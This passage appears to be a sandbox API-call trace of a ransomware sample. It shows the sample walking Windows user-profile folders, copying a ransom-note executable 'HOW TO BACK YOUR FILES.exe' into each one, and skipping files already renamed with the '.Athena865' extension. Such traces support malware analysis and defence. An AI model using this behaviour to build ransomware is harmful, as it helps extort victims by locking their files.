lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf685a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0049.483] lstrcmpiW (lpString1="Desktop", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.483] lstrcmpiW (lpString1="Desktop", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.483] lstrcpyW (in: lpString1=0x241e86a, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0049.483] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b158 [0049.483] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x32) returned 0x529790 [0049.483] lstrcatW (in: lpString1="Desktop", lpString2="\\" | out: lpString1="Desktop\\") returned="Desktop\\" [0049.483] lstrcatW (in: lpString1="Desktop\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Desktop\\HOW TO BACK YOUR FILES.exe") returned="Desktop\\HOW TO BACK YOUR FILES.exe" [0049.483] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.484] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf685a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0049.484] lstrcmpiW (lpString1="Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.484] lstrcmpiW (lpString1="Documents", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.484] lstrcpyW (in: lpString1=0x241e86a, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0049.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b170 [0049.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x36) returned 0x5297d0 [0049.484] lstrcatW (in: lpString1="Documents", lpString2="\\" | out: lpString1="Documents\\") returned="Documents\\" [0049.484] lstrcatW (in: lpString1="Documents\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Documents\\HOW TO BACK YOUR FILES.exe") returned="Documents\\HOW TO BACK YOUR FILES.exe" [0049.484] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.484] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf8e700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf8e700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0049.484] lstrcmpiW (lpString1="Downloads", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.484] lstrcmpiW (lpString1="Downloads", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.484] lstrcpyW (in: lpString1=0x241e86a, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0049.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b188 [0049.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x36) returned 0x529810 [0049.484] lstrcatW (in: lpString1="Downloads", lpString2="\\" | out: lpString1="Downloads\\") returned="Downloads\\" [0049.485] lstrcatW (in: lpString1="Downloads\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Downloads\\HOW TO BACK YOUR FILES.exe") returned="Downloads\\HOW TO BACK YOUR FILES.exe" [0049.485] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\downloads\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.485] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf8e700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf8e700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0049.485] lstrcmpiW (lpString1="Favorites", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.485] lstrcmpiW (lpString1="Favorites", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.485] lstrcpyW (in: lpString1=0x241e86a, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0049.485] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b1a0 [0049.485] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x36) returned 0x529850 [0049.485] lstrcatW (in: lpString1="Favorites", lpString2="\\" | out: lpString1="Favorites\\") returned="Favorites\\" [0049.485] lstrcatW (in: lpString1="Favorites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Favorites\\HOW TO BACK YOUR FILES.exe") returned="Favorites\\HOW TO BACK YOUR FILES.exe" [0049.485] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.486] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc35b640, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc35b640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0049.486] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0049.486] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcfb4860, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0049.486] lstrcmpiW (lpString1="Links", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.486] lstrcmpiW (lpString1="Links", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.486] lstrcpyW (in: lpString1=0x241e86a, lpString2="Links" | out: lpString1="Links") returned="Links" [0049.486] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b1b8 [0049.486] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x2e) returned 0x51a868 [0049.486] lstrcatW (in: lpString1="Links", lpString2="\\" | out: lpString1="Links\\") returned="Links\\" [0049.486] lstrcatW (in: lpString1="Links\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Links\\HOW TO BACK YOUR FILES.exe") returned="Links\\HOW TO BACK YOUR FILES.exe" [0049.486] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\links\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.486] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0049.486] lstrcmpiW (lpString1="Local Settings", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.486] lstrcmpiW (lpString1="Local Settings", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.486] lstrcpyW (in: lpString1=0x241e86a, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0049.486] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b1d0 [0049.486] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40) returned 0x50fa78 [0049.487] lstrcatW (in: lpString1="Local Settings", lpString2="\\" | out: lpString1="Local Settings\\") returned="Local Settings\\" [0049.487] lstrcatW (in: lpString1="Local Settings\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Local Settings\\HOW TO BACK YOUR FILES.exe") returned="Local Settings\\HOW TO BACK YOUR FILES.exe" [0049.487] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Local Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\local settings\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.487] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcfb4860, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0049.487] lstrcmpiW (lpString1="Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.487] lstrcmpiW (lpString1="Music", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.487] lstrcpyW (in: lpString1=0x241e86a, lpString2="Music" | out: lpString1="Music") returned="Music" [0049.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b1e8 [0049.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x2e) returned 0x51a7c0 [0049.487] lstrcatW (in: lpString1="Music", lpString2="\\" | out: lpString1="Music\\") returned="Music\\" [0049.487] lstrcatW (in: lpString1="Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Music\\HOW TO BACK YOUR FILES.exe") returned="Music\\HOW TO BACK YOUR FILES.exe" [0049.487] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.488] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0049.488] lstrcmpiW (lpString1="My Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.488] lstrcmpiW (lpString1="My Documents", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.488] lstrcpyW (in: lpString1=0x241e86a, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0049.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b200 [0049.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3c) returned 0x50fac0 [0049.488] lstrcatW (in: lpString1="My Documents", lpString2="\\" | out: lpString1="My Documents\\") returned="My Documents\\" [0049.488] lstrcatW (in: lpString1="My Documents\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Documents\\HOW TO BACK YOUR FILES.exe") returned="My Documents\\HOW TO BACK YOUR FILES.exe" [0049.488] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\My Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\my documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.488] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0049.488] lstrcmpiW (lpString1="NetHood", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.488] lstrcmpiW (lpString1="NetHood", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.488] lstrcpyW (in: lpString1=0x241e86a, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0049.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b218 [0049.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x32) returned 0x529890 [0049.488] lstrcatW (in: lpString1="NetHood", lpString2="\\" | out: lpString1="NetHood\\") returned="NetHood\\" [0049.488] lstrcatW (in: lpString1="NetHood\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="NetHood\\HOW TO BACK YOUR FILES.exe") returned="NetHood\\HOW TO BACK YOUR FILES.exe" [0049.489] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\NetHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\nethood\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.489] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6770de0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6770de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xc0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0049.489] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.489] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.489] lstrcpyW (in: lpString1=0x241e86a, lpString2="NTUSER.DAT.LOG.Athena865" | out: lpString1="NTUSER.DAT.LOG.Athena865") returned="NTUSER.DAT.LOG.Athena865" [0049.489] lstrlenW (lpString="NTUSER.DAT.LOG.Athena865") returned 24 [0049.489] lstrlenW (lpString="Athena865") returned 9 [0049.489] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0049.489] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xbd000b20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x2e700, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1.Athena865", cAlternateFileName="NTUSER~2.ATH")) returned 1 [0049.489] lstrcmpiW (lpString1="NTUSER.DAT.LOG1.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.489] lstrcmpiW (lpString1="NTUSER.DAT.LOG1.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.489] lstrcpyW (in: lpString1=0x241e86a, lpString2="NTUSER.DAT.LOG1.Athena865" | out: lpString1="NTUSER.DAT.LOG1.Athena865") returned="NTUSER.DAT.LOG1.Athena865" [0049.489] lstrlenW (lpString="NTUSER.DAT.LOG1.Athena865") returned 25 [0049.489] lstrlenW (lpString="Athena865") returned 9 [0049.489] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0049.489] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9012aa61, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2.Athena865", cAlternateFileName="NTUSER~3.ATH")) returned 1 [0049.489] lstrcmpiW (lpString1="NTUSER.DAT.LOG2.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.489] lstrcmpiW (lpString1="NTUSER.DAT.LOG2.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.489] lstrcpyW (in: lpString1=0x241e86a, lpString2="NTUSER.DAT.LOG2.Athena865" | out: lpString1="NTUSER.DAT.LOG2.Athena865") returned="NTUSER.DAT.LOG2.Athena865" [0049.489] lstrlenW (lpString="NTUSER.DAT.LOG2.Athena865") returned 25 [0049.489] lstrlenW (lpString="Athena865") returned 9 [0049.490] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0049.490] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8d30919, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8d30919, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xbd04cde0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x10300, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865", cAlternateFileName="NTUSER~4.ATH")) returned 1 [0049.490] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.490] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.490] lstrcpyW (in: lpString1=0x241e86a, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865" [0049.490] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865") returned 65 [0049.490] lstrlenW (lpString="Athena865") returned 9 [0049.490] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0049.490] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8da2d3a, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8da2d3a, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xbd0990a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x80300, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865", cAlternateFileName="NT1F71~1.ATH")) returned 1 [0049.490] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.490] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.490] lstrcpyW (in: lpString1=0x241e86a, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865" [0049.490] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865") returned 102 [0049.490] lstrlenW (lpString="Athena865") returned 9 [0049.490] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0049.490] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8deeffb, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8deeffb, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xbd10b4c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x80300, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865", cAlternateFileName="NTD9D3~1.ATH")) returned 1 [0049.490] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.490] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.490] lstrcpyW (in: lpString1=0x241e86a, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865" [0049.490] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865") returned 102 [0049.490] lstrlenW (lpString="Athena865") returned 9 [0049.490] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0049.490] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbd17d8e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x320, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini.Athena865", cAlternateFileName="NTEBD2~1.ATH")) returned 1 [0049.490] lstrcmpiW (lpString1="ntuser.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.490] lstrcmpiW (lpString1="ntuser.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.490] lstrcpyW (in: lpString1=0x241e86a, lpString2="ntuser.ini.Athena865" | out: lpString1="ntuser.ini.Athena865") returned="ntuser.ini.Athena865" [0049.490] lstrlenW (lpString="ntuser.ini.Athena865") returned 20 [0049.490] lstrlenW (lpString="Athena865") returned 9 [0049.490] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0049.490] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1a3a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1a3a40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0049.490] lstrcmpiW (lpString1="Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.491] lstrcmpiW (lpString1="Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.491] lstrcpyW (in: lpString1=0x241e86a, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0049.491] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b230 [0049.491] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x34) returned 0x5298d0 [0049.491] lstrcatW (in: lpString1="Pictures", lpString2="\\" | out: lpString1="Pictures\\") returned="Pictures\\" [0049.491] lstrcatW 